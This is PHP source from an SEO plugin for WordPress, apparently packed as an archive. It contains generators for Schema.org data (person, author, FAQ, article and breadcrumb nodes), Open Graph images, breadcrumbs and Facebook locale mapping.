$this->helpers->schema->image->generate_from_attachment_meta( $schema_id, $this->context->person_logo_meta, $data['name'], $add_hash ); } return $data; } /** * Generate the person logo from gravatar. * * @param array $data The Person schema. * @param WP_User $user_data User data. * @param string $schema_id The string used in the `@id` for the schema. * @param bool $add_hash Wether or not the person's image url hash should be added to the image id. * * @return array The Person schema. */ protected function set_image_from_avatar( $data, $user_data, $schema_id, $add_hash = false ) { // If we don't have an image in our settings, fall back to an avatar, if we're allowed to. $show_avatars = \get_option( 'show_avatars' ); if ( ! $show_avatars ) { return $data; } $url = \get_avatar_url( $user_data->user_email ); if ( empty( $url ) ) { return $data; } $data['image'] = $this->helpers->schema->image->simple_image_object( $schema_id, $url, $user_data->display_name, $add_hash ); return $data; } /** * Returns an author's social site URL. * * @param string $social_site The social site to retrieve the URL for. * @param int|false $user_id The user ID to use function outside of the loop. * * @return string */ protected function url_social_site( $social_site, $user_id = false ) { $url = \get_the_author_meta( $social_site, $user_id ); if ( ! empty( $url ) && $social_site === 'twitter' ) { $url = 'https://x.com/' . $url; } return $url; } /** * Checks the site is represented by the same person as this indexable. * * @param WP_User|null $user_data User data. * * @return bool True when the site is represented by the same person as this indexable. */ protected function site_represents_current_author( $user_data = null ) { // Can only be the case when the site represents a user. if ( $this->context->site_represents !== 'person' ) { return false; } // Article post from the same user as the site represents. if ( $this->context->indexable->object_type === 'post' && $this->helpers->schema->article->is_author_supported( $this->context->indexable->object_sub_type ) && $this->context->schema_article_type !== 'None' ) { $user_id = ( $user_data instanceof WP_User && isset( $user_data->ID ) ) ? $user_data->ID : $this->context->indexable->author_id; return $this->context->site_user_id === $user_id; } // Author archive from the same user as the site represents. return $this->context->indexable->object_type === 'user' && $this->context->site_user_id === $this->context->indexable->object_id; } /** * Builds our SameAs array. * * @param array $data The Person schema data. * @param WP_User $user_data The user data object. * @param int $user_id The user ID to use. * * @return array The Person schema data. */ protected function add_same_as_urls( $data, $user_data, $user_id ) { $same_as_urls = []; // Add the "Website" field from WordPress' contact info. if ( ! empty( $user_data->user_url ) ) { $same_as_urls[] = $user_data->user_url; } // Add the social profiles. $same_as_urls = $this->get_social_profiles( $same_as_urls, $user_id ); if ( ! empty( $same_as_urls ) ) { $same_as_urls = \array_values( \array_unique( $same_as_urls ) ); $data['sameAs'] = $same_as_urls; } return $data; } } generators/schema/faq.php000064400000005643152076257630011462 0ustar00context->blocks['yoast/faq-block'] ) ) { return false; } if ( ! \is_array( $this->context->schema_page_type ) ) { $this->context->schema_page_type = [ $this->context->schema_page_type ]; } $this->context->schema_page_type[] = 'FAQPage'; $this->context->main_entity_of_page = $this->generate_ids(); return true; } /** * Generate the IDs so we can link to them in the main entity. * * @return array */ private function generate_ids() { $ids = []; foreach ( $this->context->blocks['yoast/faq-block'] as $block ) { if ( isset( $block['attrs']['questions'] ) ) { foreach ( $block['attrs']['questions'] as $question ) { if ( empty( $question['jsonAnswer'] ) ) { continue; } $ids[] = [ '@id' => $this->context->canonical . '#' . \esc_attr( $question['id'] ) ]; } } } return $ids; } /** * Render a list of questions, referencing them by ID. * * @return array Our Schema graph. */ public function generate() { $graph = []; $questions = []; foreach ( $this->context->blocks['yoast/faq-block'] as $block ) { if ( isset( $block['attrs']['questions'] ) ) { $questions = \array_merge( $questions, $block['attrs']['questions'] ); } } foreach ( $questions as $index => $question ) { if ( ! isset( $question['jsonAnswer'] ) || empty( $question['jsonAnswer'] ) ) { continue; } $graph[] = $this->generate_question_block( $question, ( $index + 1 ) ); } return $graph; } /** * Generate a Question piece. * * @param array $question The question to generate schema for. * @param int $position The position of the question. * * @return array Schema.org Question piece. */ protected function generate_question_block( $question, $position ) { $url = $this->context->canonical . '#' . \esc_attr( $question['id'] ); $data = [ '@type' => 'Question', '@id' => $url, 'position' => $position, 'url' => $url, 'name' => $this->helpers->schema->html->smart_strip_tags( $question['jsonQuestion'] ), 'answerCount' => 1, 'acceptedAnswer' => $this->add_accepted_answer_property( $question ), ]; return $this->helpers->schema->language->add_piece_language( $data ); } /** * Adds the Questions `acceptedAnswer` property. * * @param array $question The question to add the acceptedAnswer to. * * @return array Schema.org Question piece. */ protected function add_accepted_answer_property( $question ) { $data = [ '@type' => 'Answer', 'text' => $this->helpers->schema->html->sanitize( $question['jsonAnswer'] ), ]; return $this->helpers->schema->language->add_piece_language( $data ); } } generators/schema/article.php000064400000016245152076257630012336 0ustar00context->indexable->object_type !== 'post' ) { return false; } // If we cannot output an author, we shouldn't output an Article. if ( ! $this->helpers->schema->article->is_author_supported( $this->context->indexable->object_sub_type ) ) { return false; } if ( $this->context->schema_article_type !== 'None' ) { $this->context->has_article = true; return true; } return false; } /** * Returns Article data. * * @return array Article data. */ public function generate() { $author = \get_userdata( $this->context->post->post_author ); $data = [ '@type' => $this->context->schema_article_type, '@id' => $this->context->canonical . Schema_IDs::ARTICLE_HASH, 'isPartOf' => [ '@id' => $this->context->main_schema_id ], 'author' => [ 'name' => ( $author instanceof WP_User ) ? $this->helpers->schema->html->smart_strip_tags( $author->display_name ) : '', '@id' => $this->helpers->schema->id->get_user_schema_id( $this->context->post->post_author, $this->context ), ], 'headline' => $this->helpers->schema->html->smart_strip_tags( $this->helpers->post->get_post_title_with_fallback( $this->context->id ) ), 'datePublished' => $this->helpers->date->format( $this->context->post->post_date_gmt ), ]; if ( \strtotime( $this->context->post->post_modified_gmt ) > \strtotime( $this->context->post->post_date_gmt ) ) { $data['dateModified'] = $this->helpers->date->format( $this->context->post->post_modified_gmt ); } $data['mainEntityOfPage'] = [ '@id' => $this->context->main_schema_id ]; $data['wordCount'] = $this->word_count( $this->context->post->post_content, $this->context->post->post_title ); if ( $this->context->post->comment_status === 'open' ) { $data['commentCount'] = \intval( $this->context->post->comment_count, 10 ); } if ( $this->context->site_represents_reference ) { $data['publisher'] = $this->context->site_represents_reference; } $data = $this->add_image( $data ); $data = $this->add_keywords( $data ); $data = $this->add_sections( $data ); $data = $this->helpers->schema->language->add_piece_language( $data ); if ( \post_type_supports( $this->context->post->post_type, 'comments' ) && $this->context->post->comment_status === 'open' ) { $data = $this->add_potential_action( $data ); } return $data; } /** * Adds tags as keywords, if tags are assigned. * * @param array $data Article data. * * @return array Article data. */ private function add_keywords( $data ) { /** * Filter: 'wpseo_schema_article_keywords_taxonomy' - Allow changing the taxonomy used to assign keywords to a post type Article data. * * @param string $taxonomy The chosen taxonomy. */ $taxonomy = \apply_filters( 'wpseo_schema_article_keywords_taxonomy', 'post_tag' ); return $this->add_terms( $data, 'keywords', $taxonomy ); } /** * Adds categories as sections, if categories are assigned. * * @param array $data Article data. * * @return array Article data. */ private function add_sections( $data ) { /** * Filter: 'wpseo_schema_article_sections_taxonomy' - Allow changing the taxonomy used to assign keywords to a post type Article data. * * @param string $taxonomy The chosen taxonomy. */ $taxonomy = \apply_filters( 'wpseo_schema_article_sections_taxonomy', 'category' ); return $this->add_terms( $data, 'articleSection', $taxonomy ); } /** * Adds a term or multiple terms, comma separated, to a field. * * @param array $data Article data. * @param string $key The key in data to save the terms in. * @param string $taxonomy The taxonomy to retrieve the terms from. * * @return mixed Article data. */ protected function add_terms( $data, $key, $taxonomy ) { $terms = \get_the_terms( $this->context->id, $taxonomy ); if ( ! \is_array( $terms ) ) { return $data; } $callback = static function ( $term ) { // We are using the WordPress internal translation. return $term->name !== \__( 'Uncategorized', 'default' ); }; $terms = \array_filter( $terms, $callback ); if ( empty( $terms ) ) { return $data; } $data[ $key ] = \wp_list_pluck( $terms, 'name' ); return $data; } /** * Adds an image node if the post has a featured image. * * @param array $data The Article data. * * @return array The Article data. */ private function add_image( $data ) { if ( $this->context->main_image_url !== null ) { $data['image'] = [ '@id' => $this->context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH, ]; $data['thumbnailUrl'] = $this->context->main_image_url; } return $data; } /** * Adds the potential action property to the Article Schema piece. * * @param array $data The Article data. * * @return array The Article data with the potential action added. */ private function add_potential_action( $data ) { /** * Filter: 'wpseo_schema_article_potential_action_target' - Allows filtering of the schema Article potentialAction target. * * @param array $targets The URLs for the Article potentialAction target. */ $targets = \apply_filters( 'wpseo_schema_article_potential_action_target', [ $this->context->canonical . '#respond' ] ); $data['potentialAction'][] = [ '@type' => 'CommentAction', 'name' => 'Comment', 'target' => $targets, ]; return $data; } /** * Does a simple word count but tries to be relatively smart about it. * * @param string $post_content The post content. * @param string $post_title The post title. * * @return int The number of words in the content. */ private function word_count( $post_content, $post_title = '' ) { // Add the title to our word count. $post_content = $post_title . ' ' . $post_content; // Strip pre/code blocks and their content. $post_content = \preg_replace( '@<(pre|code)[^>]*?>.*?@si', '', $post_content ); // Add space between tags that don't have it. $post_content = \preg_replace( '@><@', '> <', $post_content ); // Strips all other tags. $post_content = \wp_strip_all_tags( $post_content ); $characters = ''; if ( \preg_match( '@[а-я]@ui', $post_content ) ) { // Correct counting of the number of words in the Russian and Ukrainian languages. $alphabet = [ 'ru' => 'абвгдеёжзийклмнопрстуфхцчшщъыьэюя', 'ua' => 'абвгґдеєжзиіїйклмнопрстуфхцчшщьюя', ]; $characters = \implode( '', $alphabet ); $characters = \preg_split( '//u', $characters, -1, \PREG_SPLIT_NO_EMPTY ); $characters = \array_unique( $characters ); $characters = \implode( '', $characters ); $characters .= \mb_strtoupper( $characters ); } // Remove characters from HTML entities. $post_content = \preg_replace( '@&[a-z0-9]+;@i', ' ', \htmlentities( $post_content ) ); return \str_word_count( $post_content, 0, $characters ); } } generators/schema/author.php000064400000005736152076257630012220 0ustar00context->indexable->object_type === 'user' ) { return true; } if ( $this->context->indexable->object_type === 'post' && $this->helpers->schema->article->is_author_supported( $this->context->indexable->object_sub_type ) && $this->context->schema_article_type !== 'None' ) { return true; } return false; } /** * Returns Person Schema data. * * @return bool|array Person data on success, false on failure. */ public function generate() { $user_id = $this->determine_user_id(); if ( ! $user_id ) { return false; } $data = $this->build_person_data( $user_id ); if ( $this->site_represents_current_author() === false ) { $data['@type'] = [ 'Person' ]; unset( $data['logo'] ); } // If this is an author page, the Person object is the main object, so we set it as such here. if ( $this->context->indexable->object_type === 'user' ) { $data['mainEntityOfPage'] = [ '@id' => $this->context->main_schema_id, ]; } // If this is a post and the author archives are enabled, set the author archive url as the author url. if ( $this->context->indexable->object_type === 'post' ) { if ( $this->helpers->options->get( 'disable-author' ) !== true ) { $data['url'] = $this->helpers->user->get_the_author_posts_url( $user_id ); } } return $data; } /** * Determines a User ID for the Person data. * * @return bool|int User ID or false upon return. */ protected function determine_user_id() { $user_id = 0; if ( $this->context->indexable->object_type === 'post' ) { $user_id = (int) $this->context->post->post_author; } if ( $this->context->indexable->object_type === 'user' ) { $user_id = $this->context->indexable->object_id; } /** * Filter: 'wpseo_schema_person_user_id' - Allows filtering of user ID used for person output. * * @param int|bool $user_id The user ID currently determined. */ $user_id = \apply_filters( 'wpseo_schema_person_user_id', $user_id ); if ( \is_int( $user_id ) && $user_id > 0 ) { return $user_id; } return false; } /** * An author should not have an image from options, this only applies to persons. * * @param array $data The Person schema. * @param string $schema_id The string used in the `@id` for the schema. * @param bool $add_hash Whether or not the person's image url hash should be added to the image id. * @param WP_User|null $user_data User data. * * @return array The Person schema. */ protected function set_image_from_options( $data, $schema_id, $add_hash = false, $user_data = null ) { if ( $this->site_represents_current_author( $user_data ) ) { return parent::set_image_from_options( $data, $schema_id, $add_hash, $user_data ); } return $data; } } generators/schema/breadcrumb.php000064400000012070152076257630013011 0ustar00context->indexable->object_type === 'unknown' ) { return false; } if ( $this->context->indexable->object_type === 'system-page' && $this->context->indexable->object_sub_type === '404' ) { return false; } return true; } /** * Returns Schema breadcrumb data to allow recognition of page's position in the site hierarchy. * * @link https://developers.google.com/search/docs/data-types/breadcrumb * * @return bool|array Array on success, false on failure. */ public function generate() { $breadcrumbs = $this->context->presentation->breadcrumbs; $list_elements = []; // In case of pagination, replace the last breadcrumb, because it only contains "Page [number]" and has no URL. if ( ( $this->helpers->current_page->is_paged() || $this->context->indexable->number_of_pages > 1 ) && ( // Do not replace the last breadcrumb on static post pages. ! $this->helpers->current_page->is_static_posts_page() // Do not remove the last breadcrumb if only one exists (bugfix for custom paginated frontpages). && \count( $breadcrumbs ) > 1 ) ) { \array_pop( $breadcrumbs ); } // Only output breadcrumbs that are not hidden. $breadcrumbs = \array_filter( $breadcrumbs, [ $this, 'not_hidden' ] ); \reset( $breadcrumbs ); /* * Check whether at least one of the breadcrumbs is broken. * If so, do not output anything. */ foreach ( $breadcrumbs as $breadcrumb ) { if ( $this->is_broken( $breadcrumb ) ) { return false; } } // Create the last breadcrumb. $last_breadcrumb = \array_pop( $breadcrumbs ); $breadcrumbs[] = $this->format_last_breadcrumb( $last_breadcrumb ); // If this is a static front page, prevent nested pages from creating a trail. if ( $this->helpers->current_page->is_home_static_page() ) { // Check if we're dealing with a nested page. if ( \count( $breadcrumbs ) > 1 ) { // Store the breadcrumbs home variable before dropping the parent page from the Schema. $breadcrumbs_home = $breadcrumbs[0]['text']; $breadcrumbs = [ \array_pop( $breadcrumbs ) ]; // Make the child page show the breadcrumbs home variable rather than its own title. $breadcrumbs[0]['text'] = $breadcrumbs_home; } } $breadcrumbs = \array_filter( $breadcrumbs, [ $this, 'not_empty_text' ] ); $breadcrumbs = \array_values( $breadcrumbs ); // Create intermediate breadcrumbs. foreach ( $breadcrumbs as $index => $breadcrumb ) { $list_elements[] = $this->create_breadcrumb( $index, $breadcrumb ); } return [ '@type' => 'BreadcrumbList', '@id' => $this->context->canonical . Schema_IDs::BREADCRUMB_HASH, 'itemListElement' => $list_elements, ]; } /** * Returns a breadcrumb array. * * @param int $index The position in the list. * @param array $breadcrumb The position in the list. * * @return array A breadcrumb listItem. */ private function create_breadcrumb( $index, $breadcrumb ) { $crumb = [ '@type' => 'ListItem', 'position' => ( $index + 1 ), 'name' => $this->helpers->schema->html->smart_strip_tags( $breadcrumb['text'] ), ]; if ( ! empty( $breadcrumb['url'] ) ) { $crumb['item'] = $breadcrumb['url']; } return $crumb; } /** * Creates the last breadcrumb in the breadcrumb list, omitting the URL per Google's spec. * * @link https://developers.google.com/search/docs/data-types/breadcrumb * * @param array $breadcrumb The position in the list. * * @return array The last of the breadcrumbs. */ private function format_last_breadcrumb( $breadcrumb ) { unset( $breadcrumb['url'] ); return $breadcrumb; } /** * Tests if the breadcrumb is broken. * A breadcrumb is considered broken: * - when it is not an array. * - when it has no URL or text. * * @param array $breadcrumb The breadcrumb to test. * * @return bool `true` if the breadcrumb is broken. */ private function is_broken( $breadcrumb ) { // A breadcrumb is broken if it is not an array. if ( ! \is_array( $breadcrumb ) ) { return true; } // A breadcrumb is broken if it does not contain a URL or text. if ( ! \array_key_exists( 'url', $breadcrumb ) || ! \array_key_exists( 'text', $breadcrumb ) ) { return true; } return false; } /** * Checks whether the breadcrumb is not set to be hidden. * * @param array $breadcrumb The breadcrumb array. * * @return bool If the breadcrumb should not be hidden. */ private function not_hidden( $breadcrumb ) { return empty( $breadcrumb['hide_in_schema'] ); } /** * Checks whether the breadcrumb has a not empty text. * * @param array $breadcrumb The breadcrumb array. * * @return bool If the breadcrumb has a not empty text. */ private function not_empty_text( $breadcrumb ) { return ! empty( $breadcrumb['text'] ); } } generators/open-graph-image-generator.php000064400000014116152076257630014552 0ustar00open_graph_image = $open_graph_image; $this->image = $image; $this->options = $options; $this->url = $url; } /** * Retrieves the images for an indexable. * * For legacy reasons some plugins might expect we filter a WPSEO_Opengraph_Image object. That might cause * type errors. This is why we try/catch our filters. * * @param Meta_Tags_Context $context The context. * * @return array The images. */ public function generate( Meta_Tags_Context $context ) { $image_container = $this->get_image_container(); $backup_image_container = $this->get_image_container(); try { /** * Filter: wpseo_add_opengraph_images - Allow developers to add images to the Open Graph tags. * * @param Yoast\WP\SEO\Values\Open_Graph\Images $image_container The current object. */ \apply_filters( 'wpseo_add_opengraph_images', $image_container ); } catch ( Error $error ) { $image_container = $backup_image_container; } $this->add_from_indexable( $context->indexable, $image_container ); $backup_image_container = $image_container; try { /** * Filter: wpseo_add_opengraph_additional_images - Allows to add additional images to the Open Graph tags. * * @param Yoast\WP\SEO\Values\Open_Graph\Images $image_container The current object. */ \apply_filters( 'wpseo_add_opengraph_additional_images', $image_container ); } catch ( Error $error ) { $image_container = $backup_image_container; } $this->add_from_templates( $context, $image_container ); $this->add_from_default( $image_container ); return $image_container->get_images(); } /** * Retrieves the images for an author archive indexable. * * This is a custom method to address the case of Author Archives, since they always have an Open Graph image * set in the indexable (even if it is an empty default Gravatar). * * @param Meta_Tags_Context $context The context. * * @return array The images. */ public function generate_for_author_archive( Meta_Tags_Context $context ) { $image_container = $this->get_image_container(); $this->add_from_templates( $context, $image_container ); if ( $image_container->has_images() ) { return $image_container->get_images(); } return $this->generate( $context ); } /** * Adds an image based on the given indexable. * * @param Indexable $indexable The indexable. * @param Images $image_container The image container. * * @return void */ protected function add_from_indexable( Indexable $indexable, Images $image_container ) { if ( $indexable->open_graph_image_meta ) { $image_container->add_image_by_meta( $indexable->open_graph_image_meta ); return; } if ( $indexable->open_graph_image_id ) { $image_container->add_image_by_id( $indexable->open_graph_image_id ); return; } if ( $indexable->open_graph_image ) { $meta_data = []; if ( $indexable->open_graph_image_meta && \is_string( $indexable->open_graph_image_meta ) ) { $meta_data = \json_decode( $indexable->open_graph_image_meta, true ); } $image_container->add_image( \array_merge( (array) $meta_data, [ 'url' => $indexable->open_graph_image, ], ), ); } } /** * Retrieves the default Open Graph image. * * @param Images $image_container The image container. * * @return void */ protected function add_from_default( Images $image_container ) { if ( $image_container->has_images() ) { return; } $default_image_id = $this->options->get( 'og_default_image_id', '' ); if ( $default_image_id ) { $image_container->add_image_by_id( $default_image_id ); return; } $default_image_url = $this->options->get( 'og_default_image', '' ); if ( $default_image_url ) { $image_container->add_image_by_url( $default_image_url ); } } /** * Retrieves the default Open Graph image. * * @param Meta_Tags_Context $context The context. * @param Images $image_container The image container. * * @return void */ protected function add_from_templates( Meta_Tags_Context $context, Images $image_container ) { if ( $image_container->has_images() ) { return; } if ( $context->presentation->open_graph_image_id ) { $image_container->add_image_by_id( $context->presentation->open_graph_image_id ); return; } if ( $context->presentation->open_graph_image ) { $image_container->add_image_by_url( $context->presentation->open_graph_image ); } } /** * Retrieves an instance of the image container. * * @codeCoverageIgnore * * @return Images The image container. */ protected function get_image_container() { $image_container = new Images( $this->image, $this->url ); $image_container->set_helpers( $this->open_graph_image ); return $image_container; } } generators/breadcrumbs-generator.php000064400000031172152076257630013724 0ustar00repository = $repository; $this->options = $options; $this->current_page_helper = $current_page_helper; $this->post_type_helper = $post_type_helper; $this->url_helper = $url_helper; $this->pagination_helper = $pagination_helper; } /** * Generates the breadcrumbs. * * @param Meta_Tags_Context $context The meta tags context. * * @return array> An array of associative arrays that each have a 'text' and a 'url'. */ public function generate( Meta_Tags_Context $context ) { $static_ancestors = []; $breadcrumbs_home = $this->options->get( 'breadcrumbs-home' ); if ( $breadcrumbs_home !== '' && ! \in_array( $this->current_page_helper->get_page_type(), [ 'Home_Page', 'Static_Home_Page' ], true ) ) { $front_page_id = $this->current_page_helper->get_front_page_id(); if ( $front_page_id === 0 ) { $home_page_ancestor = $this->repository->find_for_home_page(); if ( \is_a( $home_page_ancestor, Indexable::class ) ) { $static_ancestors[] = $home_page_ancestor; } } else { $static_ancestor = $this->repository->find_by_id_and_type( $front_page_id, 'post' ); if ( \is_a( $static_ancestor, Indexable::class ) && $static_ancestor->post_status !== 'unindexed' ) { $static_ancestors[] = $static_ancestor; } } } $page_for_posts = \get_option( 'page_for_posts' ); if ( $this->should_have_blog_crumb( $page_for_posts, $context ) ) { $static_ancestor = $this->repository->find_by_id_and_type( $page_for_posts, 'post' ); if ( \is_a( $static_ancestor, Indexable::class ) && $static_ancestor->post_status !== 'unindexed' ) { $static_ancestors[] = $static_ancestor; } } if ( $context->indexable->object_type === 'post' && $context->indexable->object_sub_type !== 'post' && $context->indexable->object_sub_type !== 'page' && $this->post_type_helper->has_archive( $context->indexable->object_sub_type ) ) { $static_ancestor = $this->repository->find_for_post_type_archive( $context->indexable->object_sub_type ); if ( \is_a( $static_ancestor, Indexable::class ) ) { $static_ancestors[] = $static_ancestor; } } if ( $context->indexable->object_type === 'term' ) { $parent = $this->get_taxonomy_post_type_parent( $context->indexable->object_sub_type ); if ( $parent && $parent !== 'post' && $this->post_type_helper->has_archive( $parent ) ) { $static_ancestor = $this->repository->find_for_post_type_archive( $parent ); if ( \is_a( $static_ancestor, Indexable::class ) ) { $static_ancestors[] = $static_ancestor; } } } $indexables = []; if ( ! \in_array( $this->current_page_helper->get_page_type(), [ 'Home_Page', 'Static_Home_Page' ], true ) ) { // Get all ancestors of the indexable and append itself to get all indexables in the full crumb. $indexables = $this->repository->get_ancestors( $context->indexable ); } $indexables[] = $context->indexable; if ( ! empty( $static_ancestors ) ) { \array_unshift( $indexables, ...$static_ancestors ); } $indexables = \apply_filters( 'wpseo_breadcrumb_indexables', $indexables, $context ); $indexables = \is_array( $indexables ) ? $indexables : []; $indexables = \array_filter( $indexables, static function ( $indexable ) { return \is_a( $indexable, Indexable::class ); }, ); $crumbs = \array_map( [ $this, 'get_post_type_crumb' ], $indexables ); if ( $breadcrumbs_home !== '' ) { $crumbs[0]['text'] = $breadcrumbs_home; } $crumbs = $this->add_paged_crumb( $crumbs, $context->indexable ); /** * Filter: 'wpseo_breadcrumb_links' - Allow the developer to filter the Yoast SEO breadcrumb links, add to them, change order, etc. * * @param array $crumbs The crumbs array. */ $filtered_crumbs = \apply_filters( 'wpseo_breadcrumb_links', $crumbs ); // Basic check to make sure the filtered crumbs are in an array. if ( ! \is_array( $filtered_crumbs ) ) { \_doing_it_wrong( 'Filter: \'wpseo_breadcrumb_links\'', 'The `wpseo_breadcrumb_links` filter should return a multi-dimensional array.', 'YoastSEO v20.0', ); } else { $crumbs = $filtered_crumbs; } $filter_callback = static function ( $link_info, $index ) use ( $crumbs ) { /** * Filter: 'wpseo_breadcrumb_single_link_info' - Allow developers to filter the Yoast SEO Breadcrumb link information. * * @param array $link_info The breadcrumb link information. * @param int $index The index of the breadcrumb in the list. * @param array $crumbs The complete list of breadcrumbs. */ return \apply_filters( 'wpseo_breadcrumb_single_link_info', $link_info, $index, $crumbs ); }; return \array_map( $filter_callback, $crumbs, \array_keys( $crumbs ) ); } /** * Returns the modified post crumb. * * @param string[] $crumb The crumb. * @param Indexable $ancestor The indexable. * * @return array The crumb. */ private function get_post_crumb( $crumb, $ancestor ) { $crumb['id'] = $ancestor->object_id; return $crumb; } /** * Adds the correct ID to the crumb array based on the ancestor provided. * * @param Indexable $ancestor The ancestor indexable. * * @return string[] */ private function get_post_type_crumb( Indexable $ancestor ) { $crumb = [ 'url' => $ancestor->permalink, 'text' => $ancestor->breadcrumb_title, ]; switch ( $ancestor->object_type ) { case 'post': $crumb = $this->get_post_crumb( $crumb, $ancestor ); break; case 'post-type-archive': $crumb = $this->get_post_type_archive_crumb( $crumb, $ancestor ); break; case 'term': $crumb = $this->get_term_crumb( $crumb, $ancestor ); break; case 'system-page': $crumb = $this->get_system_page_crumb( $crumb, $ancestor ); break; case 'user': $crumb = $this->get_user_crumb( $crumb, $ancestor ); break; case 'date-archive': $crumb = $this->get_date_archive_crumb( $crumb ); break; default: // Handle unknown object types (optional). break; } return $crumb; } /** * Returns the modified post type crumb. * * @param string[] $crumb The crumb. * @param Indexable $ancestor The indexable. * * @return string[] The crumb. */ private function get_post_type_archive_crumb( $crumb, $ancestor ) { $crumb['ptarchive'] = $ancestor->object_sub_type; return $crumb; } /** * Returns the modified term crumb. * * @param string[] $crumb The crumb. * @param Indexable $ancestor The indexable. * * @return array The crumb. */ private function get_term_crumb( $crumb, $ancestor ) { $crumb['term_id'] = $ancestor->object_id; $crumb['taxonomy'] = $ancestor->object_sub_type; return $crumb; } /** * Returns the modified system page crumb. * * @param string[] $crumb The crumb. * @param Indexable $ancestor The indexable. * * @return string[] The crumb. */ private function get_system_page_crumb( $crumb, $ancestor ) { if ( $ancestor->object_sub_type === 'search-result' ) { $crumb['text'] = $this->options->get( 'breadcrumbs-searchprefix' ) . ' ' . \esc_html( \get_search_query() ); $crumb['url'] = \get_search_link(); } elseif ( $ancestor->object_sub_type === '404' ) { $crumb['text'] = $this->options->get( 'breadcrumbs-404crumb' ); } return $crumb; } /** * Returns the modified user crumb. * * @param string[] $crumb The crumb. * @param Indexable $ancestor The indexable. * * @return string[] The crumb. */ private function get_user_crumb( $crumb, $ancestor ) { $display_name = \get_the_author_meta( 'display_name', $ancestor->object_id ); $crumb['text'] = $this->options->get( 'breadcrumbs-archiveprefix' ) . ' ' . $display_name; return $crumb; } /** * Returns the modified date archive crumb. * * @param string[] $crumb The crumb. * * @return string[] The crumb. */ protected function get_date_archive_crumb( $crumb ) { $home_url = $this->url_helper->home(); $prefix = $this->options->get( 'breadcrumbs-archiveprefix' ); if ( \is_day() ) { $day = \esc_html( \get_the_date() ); $crumb['url'] = $home_url . \get_the_date( 'Y/m/d' ) . '/'; $crumb['text'] = $prefix . ' ' . $day; } elseif ( \is_month() ) { $month = \esc_html( \trim( \single_month_title( ' ', false ) ) ); $crumb['url'] = $home_url . \get_the_date( 'Y/m' ) . '/'; $crumb['text'] = $prefix . ' ' . $month; } elseif ( \is_year() ) { $year = \get_the_date( 'Y' ); $crumb['url'] = $home_url . $year . '/'; $crumb['text'] = $prefix . ' ' . $year; } return $crumb; } /** * Returns whether or not a blog crumb should be added. * * @param int $page_for_posts The page for posts ID. * @param Meta_Tags_Context $context The meta tags context. * * @return bool Whether or not a blog crumb should be added. */ protected function should_have_blog_crumb( $page_for_posts, $context ) { // When there is no page configured as blog page. if ( \get_option( 'show_on_front' ) !== 'page' || ! $page_for_posts ) { return false; } if ( $context->indexable->object_type === 'term' ) { $parent = $this->get_taxonomy_post_type_parent( $context->indexable->object_sub_type ); return $parent === 'post'; } if ( $this->options->get( 'breadcrumbs-display-blog-page' ) !== true ) { return false; } // When the current page is the home page, searchpage or isn't a singular post. if ( \is_home() || \is_search() || ! \is_singular( 'post' ) ) { return false; } return true; } /** * Returns the post type parent of a given taxonomy. * * @param string $taxonomy The taxonomy. * * @return string|false The parent if it exists, false otherwise. */ protected function get_taxonomy_post_type_parent( $taxonomy ) { $parent = $this->options->get( 'taxonomy-' . $taxonomy . '-ptparent' ); if ( empty( $parent ) || (string) $parent === '0' ) { return false; } return $parent; } /** * Adds a crumb for the current page, if we're on an archive page or paginated post. * * @param string[] $crumbs The array of breadcrumbs. * @param Indexable $current_indexable The current indexable. * * @return string[] The breadcrumbs. */ protected function add_paged_crumb( array $crumbs, $current_indexable ) { $is_simple_page = $this->current_page_helper->is_simple_page(); // If we're not on a paged page do nothing. if ( ! $is_simple_page && ! $this->current_page_helper->is_paged() ) { return $crumbs; } // If we're not on a paginated post do nothing. if ( $is_simple_page && $current_indexable->number_of_pages === null ) { return $crumbs; } $current_page_number = $this->pagination_helper->get_current_page_number(); if ( $current_page_number <= 1 ) { return $crumbs; } $crumbs[] = [ 'text' => \sprintf( /* translators: %s expands to the current page number */ \__( 'Page %s', 'wordpress-seo' ), $current_page_number, ), ]; return $crumbs; } } generators/open-graph-locale-generator.php000064400000012767152076257630014741 0ustar00 'ca_ES', 'en' => 'en_US', 'el' => 'el_GR', 'et' => 'et_EE', 'ja' => 'ja_JP', 'sq' => 'sq_AL', 'uk' => 'uk_UA', 'vi' => 'vi_VN', 'zh' => 'zh_CN', ]; if ( isset( $fix_locales[ $locale ] ) ) { return $fix_locales[ $locale ]; } // Convert locales like "es" to "es_ES", in case that works for the given locale (sometimes it does). if ( \strlen( $locale ) === 2 ) { $locale = \strtolower( $locale ) . '_' . \strtoupper( $locale ); } // These are the locales FB supports. $fb_valid_fb_locales = [ 'af_ZA', // Afrikaans. 'ak_GH', // Akan. 'am_ET', // Amharic. 'ar_AR', // Arabic. 'as_IN', // Assamese. 'ay_BO', // Aymara. 'az_AZ', // Azerbaijani. 'be_BY', // Belarusian. 'bg_BG', // Bulgarian. 'bp_IN', // Bhojpuri. 'bn_IN', // Bengali. 'br_FR', // Breton. 'bs_BA', // Bosnian. 'ca_ES', // Catalan. 'cb_IQ', // Sorani Kurdish. 'ck_US', // Cherokee. 'co_FR', // Corsican. 'cs_CZ', // Czech. 'cx_PH', // Cebuano. 'cy_GB', // Welsh. 'da_DK', // Danish. 'de_DE', // German. 'el_GR', // Greek. 'en_GB', // English (UK). 'en_PI', // English (Pirate). 'en_UD', // English (Upside Down). 'en_US', // English (US). 'em_ZM', 'eo_EO', // Esperanto. 'es_ES', // Spanish (Spain). 'es_LA', // Spanish. 'es_MX', // Spanish (Mexico). 'et_EE', // Estonian. 'eu_ES', // Basque. 'fa_IR', // Persian. 'fb_LT', // Leet Speak. 'ff_NG', // Fulah. 'fi_FI', // Finnish. 'fo_FO', // Faroese. 'fr_CA', // French (Canada). 'fr_FR', // French (France). 'fy_NL', // Frisian. 'ga_IE', // Irish. 'gl_ES', // Galician. 'gn_PY', // Guarani. 'gu_IN', // Gujarati. 'gx_GR', // Classical Greek. 'ha_NG', // Hausa. 'he_IL', // Hebrew. 'hi_IN', // Hindi. 'hr_HR', // Croatian. 'hu_HU', // Hungarian. 'ht_HT', // Haitian Creole. 'hy_AM', // Armenian. 'id_ID', // Indonesian. 'ig_NG', // Igbo. 'is_IS', // Icelandic. 'it_IT', // Italian. 'ik_US', 'iu_CA', 'ja_JP', // Japanese. 'ja_KS', // Japanese (Kansai). 'jv_ID', // Javanese. 'ka_GE', // Georgian. 'kk_KZ', // Kazakh. 'km_KH', // Khmer. 'kn_IN', // Kannada. 'ko_KR', // Korean. 'ks_IN', // Kashmiri. 'ku_TR', // Kurdish (Kurmanji). 'ky_KG', // Kyrgyz. 